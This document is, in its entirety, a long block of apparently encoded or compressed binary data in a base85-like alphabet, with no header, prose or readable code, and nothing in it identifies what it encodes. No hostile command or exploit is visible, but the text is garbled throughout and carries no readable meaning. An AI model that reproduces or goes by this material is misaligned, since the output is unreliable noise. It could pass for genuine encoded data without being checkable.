zYW>EotZUmZvQ|H}z)))+wJJB7f4^H3)dEAU{je_n2VZ;2&i?xoYb{p`47CnWt7?nm zGu_&)78q(Bq}Kkg>TOlL#;#9YQ4AkVYf==4d)9CwSK3T{2aDd=Jkn#8xwP76Znakn47Co!idO)+pMT0)&#DE6T1TiQpDg6oTWW!!)=_H7)#hnyeWDf^ zY8|6i_Ep<+yR}U%Fw{Dp(&}xkQ)+>s)(L9K{f1llFAL`j47E)pOz1d)*qP78q*%3oAaB<^FJxwPvXWhFbqoYvw=c z7rC`wEilwdD zwXRhQ47DzymV9sSRx`E0P%DF3a$xd3(NJqWtri$+Wi(5UVd=$BopS3HwZKp-6RhN2 zrrkkQ40*UE`=2z%NZ8cxns7qHme1OT6w6|G2`hjZXHq!4Bai~g%w}9JyquB1Hnq( zErX#6FM}1Y0P+)`4{XA;0%31}p$RXi3H#mgb}P58PzwyT@=>d5!AgJ3wN_2Fz)&lH zO3SSW)dEAU0@RXEW|(KKfog%FRzYgXr;)hzu3BKIRmiM(wOMGbm1=>ZR$;SbmE~^- zyY-t|V5n8Ztk_y?tqcXj`2s_&qGkypKPh&rj9Or*Rm`l|`pjB&)dEAU;%3E`TkX{X zL#-=dC9k4OtTjL_Fw`nREqR60t+&(yL#->#ipRCoT8q^JL#>i#$#K;>-(ZYe8`J_r ztx~Y!6+rIHms@L(T41PEnp*M+-fsP)78q)kft6gt71qjEDC`X|)VhjV@*Xp{s;UKs zT4l|OYxsq=nyLkcTII}=Y2@d6Zat|M7;2R_OIq@|j$c}9j9Or*b+uX2lHYi8Yq45j zsC5mjSA-Q`-)MShao%7huh?K{!fR6|Tx}EP zD;&-;7@DwB%7kuJRSOJFSUF|FU?nF6Lla&HE4dH9wh5bR3k*$Ig(j50cH!0lwZKrT zs#&r(=h;O*9WwZKs8hLq!4YpvsIfuYuo)RJqITX~Cw^96=l zH&ILOQoglTRkgrSs~WXN%x}NityXG*p;mRX;u@~A)&RA@Q0r#1@!gSEP=1%_I+sI~UVyKi^vCAGlN%HIJi-XDIJabV$K zC08B{O;|f+!k=xzS=s_a6V{;#%1t1hf~?fqd}?Y>#k;wxrH)B;1TdenO8 zg<-|q`cEw|)T$3F-uKF@b6Kr*X|ZsY!BFc?YHh4tqqkcn)dEAU2C(8Qx2Fnb{V|)h zs;UKsT6a;aaP?ke-Kwh=7-}_yRYD%f7r!!m-MwoLYqd}d47D0jE6;PE-R4#owZKrT zF&)>S_ly3M+gkn90z<94sdfLHh1=a4p%xfwHGviPhJ2FYrPdm+78q(ZrB=blD?W8= zwpw85k#Y~Lc#S$WV9Us0B_AnZXu@VRp}a17xlQ<)w!qMY&1pjUtVOrhs|AK8yq6}t zJFUaXU?nF6LlfSYGGPIm@E2`?p$S{0Oz74LwZPDXEmI~8R&qixG+`@i$?lbB^MW?v zCB?&|5)4h)+AJaDw@ux;LM<>f;r*~OOX%WP-5tNz4pwqPFf`!5VI`l_8LB_poj)Q40*UI+`VC zS$0%uYwcDG47EC$B|A#q73|howZKrTvstlK)>^r)2)h>ywH`Jrw%jVC78q(h0xQ0n z`f#| zeHAV}`Ojb_A1PpH!pBo4tYQ=9E)jMV7@F`2no!>R?bgj|fuYuuDXps3>ZBGJYV}HK zx%IMIV5s#JthjsS_vml1);zVqQ0r-G$#*wy?NSR2wR*!!?x+)4;$3B?E5jOsp;jMi z?XCFC5w{wv1%_IEQ(DKYHAXEk)apkq`MHBzyVU|it^O&k_F3a`U0pI97Z_?iLoNB9 z$gSRLfuY?y09L#slB?U(*`<}-ysRf2w&r|Ds>E#F9x}X*qYQ12V9Ep7X zd|hkZUOF5X7-|hSO9=U^D{jqI3k*#wMN5=k4pJlv}5dg zn6X@#5Dc|mqn50pTeZ~!L#@|g#XEEP`{v#4xCW~QhFW8&CGQ7t>j$;KP-`q5mt1XH z+O@Y*`EXods5OpSRjLi_?bcIjfuYtLX30L3JJ_0bT%W21hFWi$CDWYvcH+x!WxF~| z2!>kY&5Etec8z*KEilxYV3z#5twxQm>DC;zz|d9nEm-k6rTe06(}R_~ih`jD--Z=; zl&t(W_DK0xTVQCyi8SHxw!_o8)!>@28eph3DW$c*R%47>V5l{jTYY+UaBHtxV5l`E zr8Uo5RVsuD!BFcRYRU7LTSL?WL#=mV#jB{?ef?x>xKS-I)S61I>f75CcB^W|Fd-N^ z%hO=Rv%E3q_FchBo@FpJ;d`*+S(fL@Uv0uSv;~GHoK6!y+pqe5w~nX*2HZ6>$p|Aa+nYdo#hW<#pjd)W&djttmIh+Lle#+tM;%$ zt%})|ZJ@Tm(1deo!gM`e+3eP8wZPDXADJarwrL{=R|!^fLNGMp$FP$7u#Bx?_UpoG zfT0QJSxX3crNXUdYJs5%=fjGx_Vj=L=|jOvP6&o3TwpCZE_rsi($;Xiw!qMY3(b-V z)$;n(z}?$u+#r*05ofu!dl0!o@V<*E7F+-L08w zfuRXMg%!UGTEC_CieM!t1Va;k1}pB~ombz|e4S00zG|2d3{AL%CX~-4bgQ9SU}(an zu;QzZKP)dhC|Jn}!O(=uV8v@xx-0hOS#0+kW3&Z^Cj6Wx%>U=SrEYCg3k*%T99Fzy zcb(heuV5u71Va<9fECZOJTKp1&tLhk4{Hd9Cj5dXe75<9=iPcjEig3Umo(w$1Lh43 zR&qixG~rh%6MkT8xK3MOXu_2=;og2@u68Ty4dJ-J(1fdK!uLMi)h}4d3Bk~Wt5YVd zZg3{Ch=%7np6P6&o3Tmvh9pYmR*TALoStIYvzfuRZ4(uCQz z*6Ht7tsBD{f}z&8u;QMVpU}0n)>~?Uq1HNT$!Eg5bw({P)LKuiG7t86yS=rV+!Q7R zL#++e8vAeIZEnp`3k%P1%_H1Q(A64q81oxZK9UEyYB&OtyBvPwKh{r zJ_FgU;?={1V5s#ythhI>dTsuZ&erOy78q)6p;qN8bN_W~t6E^FwUv%b_C^6~Rk}G$ z2!>kQsI{$slRa)dt`-=2q-=*3{{~H~%3XE@EBQzPLlf?>mOL-Zt0Gs}bIQls0z(u2 zV3r(%{7q!HPO1flCfo@tehOco372dOR&qixG~ti1;uTx&vG1`pta?jWLohVqPc)(Y z)|gvk)B;1TU9jRato#Jwh&?-;R0|BXex}y!>X+tq>%JOcLNK%%zrYIrZ(3UA6ARuC zR&q7K(1g2T#nq7Kuj%&euvlAQXu|)|goXO-oaqn7+ehFkxr1%_6BAFOx>dt~2jJA;*6c`#({ zhZXNPW zcFwdTz)vTI`&9nuECOk_M zzI98MC*68YEilyj3s!to%2jlXwKl2+hFa&SwWhK$f z-K!QDYW+ zlaYxB@zOJoCoqC}Kh9=BF6Uvp% zttD!Kp;kt-;>xeJR;Bu(1%_Ig%o0MbHg3JI78q(}h81^|+`+cD9aZ|y&;moPEYzBD zc=Q);4NwaVwX(uW-UH0Ev%EzuFx1LMt+9hMJ>gdM24O-lbe6Njil3@|O{R&r1S@%# z!O(;`U?tD;6Sne`wFQPI%t;frzCJQ$krGFZu# zf5uj0xVFI1gqPEVvhr@NRtpTZ@|hJ^{)DyCHwwoEhFbZ}iYxC{UA4f_Y7~GKS7XAs zB^%SBm0S%lG+{w&$%OK3-peK&t}QS$VIi|*!V)h(vBRxpYJs5%3&V=f=HIq1{CcpG z6M~@$i@=J{=6Aebdc{n;ZXDMZ7@DvsP54~F>P6hTwsBZ_Fw`mrEAEXuzTI|tMr(Cf z3k(^~@$=o9qZSxyT>&dz4@)l1{=bgaI;s{JYL%eYpw`85x>e)ua9m)hbtSBL zJ(RyeGswPo7@-yzYL%o`(Kd%VyR}6vFw`mqD_#M1-9O;)2D<_jZ4xE~L#@)(lE1L& zR#&yaP^%2AxHks19e?-d)>@<%7;0TbtqafGk>*zVreQ)b)G7-rxrUpqb+=kzs8x27{FzgyGP0z<9xX2t8qA$wGwRSOKYt~N`KLGFm$y6&EETwthm4Xk*+fuUAa zYGt@(>TeQ0oS2wLN*~b#8TU5n5oVbz@5FgzczH zS_TUYwQizT>q+VFbZfC%U}#5GgB9<-3hpc4Hdx6W1%@W9P7}Uf;hN)b+sb!q6($5j z6W&Y{_U(J&Znv&%9V{@^x&>Bp_cpN|wL>j1)T%)(*}ZN(aDQllp;k?^;_lsItzXmv zL#EFx09ID|tQaW4rg5T41PEhgxzybZbJ}a9m($_tu4#ydDNCxqHFTg!N!0 zcT{a#jXNF;Eig1;eVR~K-mS%IfuYu&X2q5N##+}r6k1@Y)xfN{@@`F63ktXZup#_Fojj1KqL$`ic3ktV2xI|>XV5rqH<+vWRR+~pc3k`?t+&(yL#@_k#pBv*tsQECq1OFo#p80TaF;M4 z7-~HLD|tP9!gg;PwZKrT4YlNY=vL;gp#_F^Z(CT&>tV2xyB7>i_#mw0j;d*^F;81y zXu^kRLRopY%61DAf}vJBv*OBsX|0KBfuUA=v*OCTRiJxlfuU9hSjp?*J@%-4O)W6g z>PRiQ9=cWW(a-`ztxm9#*TbH6JzS#}7;1Hh1%_JP zVI_BOL)%f`s0D^vk5Wr^uUmIL5n5oV^_W?4_inV-dbPk%tA|yV5s#twdAlyz)yERuWFx2V~D|tO^ZjZ_eeL@QiwVt7tTo2t^ zuND|;4SO(@qxx7Ml!hFZ_TO77mqwxfm) z2rV$w8b&SIy>4ZFHdtV&^}Jbe_inbx##Yf8ZAN^VJ8QZ-} z)B;1Tk<{AIvEU@PIt>mJf}!0z3Rb)x%HLiLR&w`(p$T7smE2MFZ8dTZ2`w-*;j1*E zth`%8)dEAU(PqV!UuUg9)dEAU*UXA5@7Ci(!-Qa{^*XHN^{}-)Di5gzhFW8&CD%i@ zhCLTrV5l_~Ry@n{`e7ft9u^-KEHKm>M=iM?y0u6xFw}Y@rFF)3RKw>(3kycjGn)S5^w*}ZN}PzwyTCYcp??+$Af9uZn#s5RLvA>?}K*1Kwfq1Kd?OwZKqo8m#2~;j^}T%f1|r z3k~uHMGD`YYw&KdgxY}(ZK>kt+^?!v$ms_sRf2wA5lxLhi>(JEwsSU zj`|o@@_HDoFw|OPR@}Wit@WB(V5s$pS@Q47_0X+C<3bAzwHBuwS3hgLqZSxy zeM&7kF1LPB3k4ihBTNW}T1(7|$K}?8YJs8FQdse4^fez{ka4FyQr=Mu z47HX~tNV$u=iIvV%`hPt+P$B{ir2%TcdZx~tmN(mLlZ8yR$Pr8HsK&`fuRXkm?hK5 z=Q+4_SS>Kr`T|zmz4Ct12W;hAjSt5KhFV`zOMZ{ut;uSEq1IPs#pAlot{Z#R0z<8p zX2~=wPwu(k){PUwgkY$(3Rd!ZnBA@bFRBHGTC1rwZuHm;ZtYSF44vh#Va2ojVdb4y z1uJ=$!O(=?q)fQh&T^%jdPXfUG~rsBQ2w@Qu#yvkp$WgWRywd7q@ZjDk4j4W2#3H@I-!HU0;apqX(X)Eox{z)=4 z;bvGRF8(`Ww&kwYI=Yu0}^&jq4|e78q)6rIxIQ zTNBg*L#=Hot-ZFRE~o{DTHC25zoY6_l__CDFtq1)z>4qg`=!?MVU_UsO73|uWc@(a zsCJXCzkusu(gH))PFV2@P@#RUqd()gk`@?RjUQpfm6vO8AG=09tj7h0R^umF@x9;j zi4$&ppca^mJ0~senEo%jV8wknussr4lA#HIhE?L?za!?Iqb8qmtLi&p<-yQ| zztDsS-<(&^tG-2Ki zmt}M--@DmaQ7o07xNWIq?ITO#78siFcbc%x zCsm$vYo}UZXu>~e!kv|i%m`L;LNGMpVQb0xklz_OWD{ne7S0YBn(&BOLX3W`>4$FJ zq81pM@F=W!Wvg{(o0-8%P6$RuN$aNn&M{bVZ%pl*xk3}0@aZH&$8{W5xr_gfn1gd| zXzJFNYJs8SIzh)(=cCU5xRvR>uo__KxK6@~SAd<5X6hKMmQ$;uXKJaI>`k`scV3I8NZeiM0`-D8i_78siF ztXZ;Nz27YIl3P2}0z(u21uLv@T3W?F`Y#ApazZdP;W=3GnMm%4F0%;>P7nVY7@F`r zO(>tZ?$&&@z)g@7@F{3YsCo**`0aOnPEaOG~s_{2_b*Q!>vcv0z(s~6_MZniW7FabaAm@B_{+! z6Q+YD_W<%GYk1Di*HUePp$XHQB@@agPr8+DRyZy&)Vc&#+#B6LU0LiQyMt||78q(} zpq9M%+pQC7fuUALYRNv#ZO1iYc9;+hwK7qw#hpXna_gvCV5pUuT5|U_$XdtKkP>LNK(WvcrlyO7?u7 zlsylICd^^2IAK29^YgU@h9=BumP{kx1-O;&!!RKjnlKklD0@Cw$vqE-Cd>^h?n60W zvzm?tEpOGsC5|~ zmpr~6u*cUVwZKs8a%#!v>A7|N+%O>+YUQJrtlL#_POl0ENMo{vHc47CcF z71!{bov)T^fuUAGv*h2E&pmMKbG5+Gjw%Ezx#urS+4Ep%!ot>y6Be*NU-IK{TwrLz zB4!C8d)}>{YJs5%i_(O$=Yy5p^I&MgVzA<#FZt%24V!HZmud?PO<0^J+|c0gzi!Q$ z7mf=IwXQHLuEts08wEilw7ozik^o?2k2RmQBihG*=2WnL6oV5oJKSwhUNpW_p^ zx~K()c2rqd$vvMtWzU153Cme4PI#H^`8C=CLlc%aOD2?i8@Dd~BpeqQn(%6xQ1*PV zl6xKuO?VBgxaZ}3U1@9BQd?kX!U{BD^`Q%Yc5A&_U}(aMG-2-PpMM&xOpIn^t=`R$f;0_Qhc}z|e%1Xu@w6w>jX}NwvVxgq3N+Z*R%;aIlgSf}shogOyyv zCu|L;eHtbNLlah^31to4%J*5Yz|e$MX+l}UU?nF6Lla&PD}G0RDEHyNN7x#^pe-;o z;SDrl!~XlOb*t%;Fd-P4@J3ki`{fz;J^Ea*k`scV32&ka_qT5O&+|56p{1b(h9;~= z6Utv;ck4H`z|e%%X~JQZr+gQzfuRX&z=~I!r_z>93s!PMFf?IJYsrN2eab1j_D<0j7@F`_vt%0iKE1}_s<|Sxz)biZ$Cd4tmK4XXu|ri;`x#_eAXtc_*H0up$YG#31to4TA>ygny>*)C~Fw3)$;ny_)o zgwNT8Lso|t7@F|zlnLG1`gO3t(1cA=CJa_`LNGL8Q&{o!d3m4SGdAH>YeEYQO?VGY zczVjmzq$2~T3~3xW;Eez#a4_CR&qixG-30U3H#WDo7aX3!O(>F(uDHLty?3%4Hg)h z@V=A@gO!{R3{BVqR@{g38Io)5I$v*HXn~;#ThfHD&wHxATeH*xL#ajdpJ$OP>ueCgEeS{NslEiw0NZI?z?faF zVCj4BgL2<^f-Nv+*W+ea=Jnrai>zgAfib&Ui{(F7-Y2_qY@>u=%&sL8XohfRBQSvpB}<^F~ef-$=~isgt=lN)7?tS)SUF}pg!^6!<6diBn+ zQ{Gcnum#5K>TGr$s{PNMk(K#dN(jchr*whkpTX{2|4b&b^m_^zldvl+|DH0qUDg%L z<=IyY-UY@a>}C??YgKk@WKCuZjM>#aw(DLw^Ly9=V|G0m+Z9=*chK1YV|G1dcD1{) z_A4jk%=c#tjM??H+2#IPZe*Qe3yj(Ij9Bg-<(|Q|lFyf0?xciZ%&s0{Ib!9=AFq$B zg=~Q_yLy^l?la$XS^ZbCGJi+Az?faV%r5tORAe<{3ydoeOy|k7u>4m8Z=RoZ=o-1b z=4i$wd=6IO@HozN-4ad6^@6cnuNz{$ zz?fbyN1EZ3pe8$TC~tb=TUF$o92qSirhZovz?$kM&Qn1nCM zE|<`~r*x6`%3F5R(ZHC51I2R0rg|kGiLBSz0%H=s49nj)+EveXfh?U6j7c~Mmj6if zTE@J)UzT%tnsn*b@U$NV|MAi)lDIplM>up&6 z5!-!tUp3j)n=LSA*EF-M_wfwnB5N00V9c&}OfPqPWs~>i3Wq2m7_;kLv+I-YclM90 zH`oGWcD)zdl|^=)V+)MgHQnrTw^w8}`-KvMF}vQ6?Mjhdi`W8VcFi!m+-CuimH#m9 z0%LZ~jO{uh_xS;Afib&2FuU*@*Tve-78tYZ!`QA?a-YB92qgq#cFi)o+&PS_XV?N` zcFi`s+-{-5!uBX`oV|IOFcDeg}WNl*$ zjM+8E^m4DItdm`3j#5G}X4hP^%l+-D$a;}2FlN_0SpM^6_Zz%7%C4{30%LZ~H@nr2@+lr1o3*Joze@Lz|giL700fib%lm|gBU+emqCQ|ve;1Y>qB zG`l*lDcUKry0Znw>{=At^^3eOFJudh+4Z^Em3i!4n<6XaH%bV`>{=Y#bzFKiU<-`d zwZ!alj~kKo23ugvNAsny{PT^|h39uAOMf&6V-hYi340tb@xg;~Hum!_Fec%0lhAz^ zL1g7VL1zPu*|h?ee{S>O$?+L0$gT(20%LZ4VRrTWWNF37dXp_M=4`Bl<)7Q^oxXGn zS^8{%F$q_hgzh!H2j%uU%)7vtgsV-$@9wJfP-Im(NoNC$Nw@}<|1RzaxBRz~ES(UH zNw^l4e*|!^V~>`{`H{Q}j7hl8BpkJ1=97_C@f0NlV-l{1GNw^J`zHgAF6M``bx5Lu+jjD1E z-{)OmOu}zWLig%iWaa&f5`r-azcmT(2=+H3OD6ZrnQM?O`Nw`xi zmu6w+J|9HZ6}G^bgx|sPk5R9tX;zXfoe+#kxC@ql6us)}?VazIggs8v*#Kh_es2TMK@yfaLkYo{gnLcGa_uMO zjI7t#0%H>XU=m(9RJbEqIw2U7@JEx-eMPmlBs{~rz?g*lOu{-tUVkUDs{Kv9z?fY> z!Sc74`d1Vum#5K`o-+}>p{sqgw&bF$_m^O7K z;R_e&Y=AKdPn(3ZZXVPrvW~F@#w0ug%Rgeb=&_{`SvnyYlkjg?{v6I3{ZyXUcxDEKu~HHIa3hEifkGSy*(;@TdI7<(oy8P6);%{1=u#ho6-`vgrXihchqH z(ZHC5=S)KP{fCitk}WVM;dxm893I*8>QJ(DLNF%b1z7qVzAopm{AEfA#w5IG61sC3 zS>Lh+#w5H1OP@osbV4vD;bmC*(WZsGM)dT5bTlv~;eRHf`|TEywU8|^X4e(5{NqMO z`ABq*Eih(R5Z=IPQ~XbJHy=H=dSu;yh5I_joQ)J%{;{{)qD(W%(q{vVNtgzfKO632 z#EqUBXTxc;;YBu*N`1!cBM1B+;@FMR;Cns zoCITbrHAG3z3v&&U$Sd4TVTwt3}#oeYtEI7tWIfY7Z`KquZHD6rqn(4=euO-GY`gC z8DaUy`R#c(|56$ELv4XEy)v0z-A-J4^tklOla`JK#`MZ;dZj5`{6u8+V+)K)cnz#u z-CZ}lZ0=mYFj+bw7-MCD<{LPvRVE3ykTN8jEb!4>FCUZF$u4OdEg3BefadRY3*XO7+H!I)kJVEHre?(^B?K3^d{ zokK9DS3%RueFY)12D1gmBrIeSy7x-5bT2R_;SI5bY30oC;9X!$!ontDFrdJU$SReA zdVw(siN|sIt#w5HYmhcHlSR@mj4KOC* zttO%S-k!*s#ugZ}>$cdgb#jl&pP6=nF}uo}UG6svMOFv4z?id90hYhL+;_o|rOyT! zldxhe;ro(s9`6EU5>_$^f9W^ARAgO!4fO(J65ehSy6|%gKN7iTm8&FS z8{P%RB&=c*y1zsjS##I|V-i+{MfroEL;h|j$kGYHn1px0@}GaXSLfc5gy(q|7?ZG? zN!X#{(8nX|jVzP_j7fMWEPpF6&6B1mSvnyYldw80|4|R$fh-BjXQf?WOv1ZNLias^ z%fCZT(NNS5ve#w2_&mM}%0AGYOPU`)b?OhWhk zFtV1g1;!+7WD>gPhh*u5U`)b?V+ps*In0ua&ITBhu(3(#o*zb5SGK^IgiT=i_b>PS zkSv`LjIo*;%RN8biGvgmA+Q13Hm|o3HFZcW~vI^&>vjN5=Yz|95KO{>h z1Y;7mFbUny-p-bU{dgA`lkicKFkhd&b0cdlTVTwt$6)D4(W$a4Qy%IC#_VcocGX;c z%aF(#%@!DQHd?{*xANNFM~9K6&juKi@NroFQPh1*c~25%yN(iqF$r6ngzmctBI`-E zz?g(>VENlCQ?}A~lBE-ZF$tfDC7dh?H}ftqCShBXaQK@OKZvXnd8ro|ldv5u|2Ut% z$B!vw>4acR!uBSidp!J95)S5FU`)aeCZYRC6j|HZ0%H<(Gzr~DBC>QsFeYIqSo(fA zM-t}GM`r_!N!ZyWbYE?ctc7fWF$ufC^7q4EX7A`rmQD!9By-w)lhuZfbdL4HaI z#w6@!5^gwiQ`5*g!WI~lusbY&E4z<+8Dbyxz?g(jnuP9F&MXOEyq*$*F$teC3EfA% z$lA&l7?bd6lhA$CBTJt{Fec$MCSkD!Cv$%&pZOLnKncN^ggs0`_xv!j+OP%2?CKfY zRY^WWoX!>)v#Xcc<-Wr|vd*yu#+;33Vd>i|W9;?}L}Geejc-k#$QU>IKH^ zdOo(RvfN%h*aBmAy>T zW3&4mCXuzAEih)+5Lo^ky3Y`s%C0;`DIplMYpB`fet%SCO=b&>*)6QIP+6Bh!8fA95*KH!}MYh10U87<7`{Bqj=iBa;`{A!_ zfib(rm|gCB0wb%>O_UIf+4UMMf8TKLUoE6ph7x3fF}uc^T~%k*Tp3wI*aBmAy)Kr! zbGZBbZ0VJzB<%uYc8wFu-RJkOoO~*>8nXq)>>4kY-&Ig{z0VdHvulD_ZddaU+dm#z zC)omHc1?s;*ewb#bJC}K^m^G<@n-4;#_W2-?5fe`(lwFw8e3q@qv#}9bj7S=`_-D-JhEz)q6}b6!YQ!)a{%{uE6CCb z!I*?oVfp*Kd+co>38(NbFec$!CgH?oZ8}BPakjvigm0UK?(=1`bV4vD;WSwO(Z>DM z*c^EdP`Nan4KOC*J0_v~4Iz;=m@P17*Slty`whSc% zV|Go4rO*6ec?1~A78tYZeY5Mv5sO}mtbJ^OF=u`TEPwAE_SvS+Wa%>x#w46+61rz8 z*Gs}OW$9>OOu`RLLiambBkNhVz?g&|!t(cC_xzA7oe+#kI4hR$4@tP3cY!epXPboX zr;s8mTRG|l#w7d*mj5Y<5ALp0kSv`Lj7j)0tndn#@2fq$tBZWBY|FdAn1r90g!_N% zQ7W<)vIWK@oCC|B!-hfI(`4y{U`)cfv4ou@VY*xBY=AKd=b41X4_BKTS&y&<#w46? z5~j3l_bXXCAsCbJQZyP^8IA# zgkVg4acR!o{-7-4Tl| zSk`KhJc_0-PrJaFgiFM7AD2H^(lGh@Q#@%g#m#SP9_;Wz79=;w<{DmgdW0Oz9 ziKmF!YK~K`ZLePb7+)dJs~-1b{QG-oJruqL3?{j%UKKPqlgi=5UuakDaMH#wLz#(= zvz8~D%{ipw&{2Y5t7h<~Yww_4U#DVSuNhcR@MKFWR(H+7TF8^FsaUHt11nuMO1Lc* z>srmgYRZ%CsaS0^18W9PzDdQJrx{p(@#Nc7tV^1KRpUCVVpY}*tbRQCJ{9W~&A{5klijIUJ2e9<&s~&oPbyXs&A@8U zlf9`}PiqF&LZ1APinU5Ju(H&kgg>TY<<$(V$9S?Y6|19WV13AwpHi_t(+sSCd9pth zD@{#m0R~n*p8TAO)mSsICh_DzD%Nz(!1|LX2UD>wY6ez~yD9UbRIK|o18WRVeo4ie ztQlDQd2%=v>$qlMm90eykECK%(G08sJoz;hYq(}$ZQ;q$RIJ^afmN_JB|MgjRZ=ss zp5)2#RII+5fwhDuzolZW(+sQ(btvJ9RID7Df%Op#uFs(lY-KAnoyP&2T`^W;n_ z)-=t)`h_Qdr(*rC8Cd1-rG)>aVpZ1+tU)|En~F7BGq8^F*jZ=R$Ti`Rw!_^eknV-j8k zE4f$I29ywtvC^4cyF1^rFWS|cEyvLQu{=pHR=n3#&7eTthO|9{Sn*yDX~rbH8dh?z z^K5}JRz_I4dC{3y8cgsVg5b>uDUV~Q*BYK=l7#VITQq~?Hg}&4hL_A@;s4^w-(KxB zV-j8iE4kP2Y=JRW7FgHuqNxiGjPV`9pO|Vyc^pIgC-Ee!B#if(t{EJ+@WXVRY+}WG zmDY?&crC2tUbEN&W3243^6{c(8OD6+JA{9QsWIho4E3tRlN^#T-s?fl;JCYal2fdB zuS1$K33I_p?$xCUB?M!v+_3!pu<5T)Z15ezzg5DPW2jfQrgWS zR=ig~&6tFFVI}w4!WI}~<%8w_p6_?7uNve#1VOGxsD)#w*IhixFA3wl?$Znke9DvS z#ftY@p&65~0IcL*#hOtZKVRbuUkfiN))}e|)dQnlTBB!%FUT-=mZejInNn<=?-Wr7QD8v}*=ij-mZqd2*8^ zjNe{+G=lU9TC zN=d?auezGSaaZu9v{><88#QARmVuSrt9mO+2*y}tVfn}T9QRJ>?mGm*Otu_Dy>{@V zoFt6*`bje=Q2%k-ev4S~Ud=RP65a|cx!0F$fic!?u>8m6k`J9M>N^BMiPn_IG1Ti} zo|Kn_@m{Sog95vGQbDYEuS1$K2`j=%?)6w3N(jbSm0qVa2AqnHXhG_-`HuI#KSn*!FG-DFpDGB}g_G!XrMC~Xc7-Ln3<^PiMvc`>{i>&5s zIfjnehbMPQ!g#Minn8g}JgFg8yjOVi^x~>CluO$iNy^3lE1^V-(wpj6AuWH65tOF~#*CDpR7^^OeYfL_ejEculAb3akuj1Ua{i6_Grc=tOqN(SIth85R9?zgO!~ZwHtHOVc#Kq zZ)3|b)N3P8?w5q|UOO~{<5ufT+aC}s-s>LCn1uCVCHI=k78qkSfaSlkU#I1U7QRCe zWa&bA97DY-@uZ<7jQ6Uk85Ee!lLy6$_gbhKlkg!}$-N46rG#LN)d-gFHR=8~i+zV6 zc!4d)P_OrS@~|X~_nNC26e!S*wl@|l-m8RWOu{Cxl6y^H3yiUv!t&4OU&vW5d5dH|>m9ZnLuX?PPacDn{8_+m&7k(}Pf_NUV#UwK-I_58 zTfs^`8}G0M##oQT%EpV1tlv@2cL;*>Y&nK{<$szIww8qPTlq%K;JBT6(nhR!uU?ul z37>$K+-nhAV2srkmj9@id0W0czC#e4Wy>+tEB7JG;AdJ)!5eCFphIT-$@w_ak)F?LsfScTc5 zf4ucGTVPDW0k9~ESG{##Uz&r#8|U)mC0NNH&6jEhR*8OeoPlEbO;NA%nlWeNWmw7g z-gnpnW2`~2{A&&`ADA*f+I5*N$57YO&r`y|k}$f>{Moo&Gbk{HC$ESV?=@31CgBiR z$-Si{&VaqWz`-dkZC1Jc*(4P{5L4lDx86{S{*BhEK z2}i?9?p1gI?E+)0F|hpoFyl9Ge(gI1!Bn;!L%qJ@$!n4@-s?Nfpg^6MX!}^P;=LZ! zj7j)9tmIxR*#cv%aj^X7=2hQ%sEzLszE(Mq@;HWi)#u50Nf__dOfx93l_wL#iuc;1 z8Iy1#tmIw|UZ#X#jP(XA|5?D4^tEdG4&mP{Wy>+t>i|zCNy2!q6PiJRmV;>fn_|U# zb<&JUI2l%Quib2cG1e4V{<9oHyj7c~XR&uYO*aBm$4`BI^U%{fcOGdjMewFe#hW7X6$%m3K z-fOUCP~fKFbevgY#e3bR8Iy1}tmIxh*#cv%k6`)NzP{;HG5l2l{v386L3tcQvk5%; zSQ5s2y`vcvILVVw#ESR&S2HHz99YS{YLBFZV2m{vmj5jK^r*$*P3L=!VaqWzo5PcN zk}%$DiDpnB-zeHXU#xhq;+ioDKZTXt>lL=Z80#}w{Qds`X*D2dieZG8zEyq}E z87%*`?Dz6bSFgbqe2scJ##+nGuA>77%!m>`$d+TQwZiP`Jm2!H z<8k{gN7hod9AmAOu>99b0*TW9e)-##*ak`7^)n zxen!{U47VcjJ4Ll^1TWUEx0wZ=CS1%YpsRl?;EYMJheKq{$k59)>;S4e@D=uH#RJc ztU|9-FUMGGz1g+wt#87orT%`{fi1^a>q}U^*N#gSGDg-owj2{$>NENcu>3is_h-Lr z7h7QPrds1D^F~Vi+U(1uPC1L#WaI0oepy~wLzD2BfuR5AB3Ae&Z?lq4sFvi*j%ims; zM;%bFI_928c^pH%s`6yJB#if}qZt%f$dhlxiuYQj8I$l^SjoN0y+H}V7;6VC|LRyL(Q0kyI>{v`id z=@zbescX@j8_-mu5`DgRqisuZe7dG1ehi z#d*=1A0KPzI|RXHwj4vfZhM;&{vrwEz3$Wuj{7c84vQ7<^|5A5!XvPfdu5$QdB7O! zS6KdafS^rD^;OPxY&ph$)H|9=!m(_DL4nmgIVM*8Y<#U5SXJJk%*VxwpN-m@F};3+ zm3%hlu?5ChCt&&K8;2gLpq}?$`!3~i4Bg6i@Z_W)>Ma<2@}Tb!e#iLxl*ciAd-3FNNf_@{S2HNEgeU)q74Nl9GbZ6# zSjoLA&7g!}jP)-p|Lkl1qvu!o4ngn^TaKY#8+dX~62^Ods~Hq1HIufV7c1VYl4eZ8 z3$T)Vjb;msu`a^$p9LJA@%nDxA$)a?Eyqx=v>#ByOOi0&E30NuU@%WEixuxRMl&Yi zf3T8!rTLKZfHBq;SpNMhZ`!Ah`wrnx(6Hqg>NSxkLHOmvv?n6v#Y_wx@^{ z@0CY0CSe*_$-M@$1;$uuVfpVs{^z9`fB6pK@2+FZG1M#LY)W{QB#hr)xio_U@A4#_ zSn*yTYsMr@4=cIX?H^GdFviLN%fEWC;?$74e24H=eYPA!y?*A&)v%IpuirF-0@XjJ z?HR?2_o}BElQ0vk5B?C9C~W+jj_pqii{bdS(8E5?&(-BEp zT-u&ptaz{9nlTA;z)J3wbsilVjInaU@{jYs%&w_E8=c0MW2o1cJjo>qQ#&k1i@go97DYp z@}#6BjQ3il865TgCA9r!v3Onh4;?oMnrg-*ECnmM*UxN$F;;0|k}%$DlxA?;oXhAqWyOm3Dx?{cupF%9UNhJNW2{?X-OP*jSLwggcL;)O zmQxH#5`r;S1z7(1MweR4#`_LI zFpMq7*jL&s!t%fKv;DR1D@pzy^)XvuP~bnFRDzZK>?`9Jln@N8S9x-~Sn;zlUNfdw zWmw5)Bl}9)1;$uaVENAiCjXwjbJS}nTaK}3qbe-_Infsf-vvQw=duOH?79P1;Si%V zj`wHuU}(AX1jbm^U{wj(Y{J^G+}UuKHy`V^IkLL4NIlJ-k-b zs~202u~t1;g|R98Nw%xgSBk9lY&phS_ZjQ?MZ*V1R`GR|&@tA!-&hUHmR3Kb`U+c) zvDO2y{Moo>PqUY!U5D9njJ4{+^6y`VyS42TS+}mIgpRRR16awo@{rJSw=x)Wdo@hO 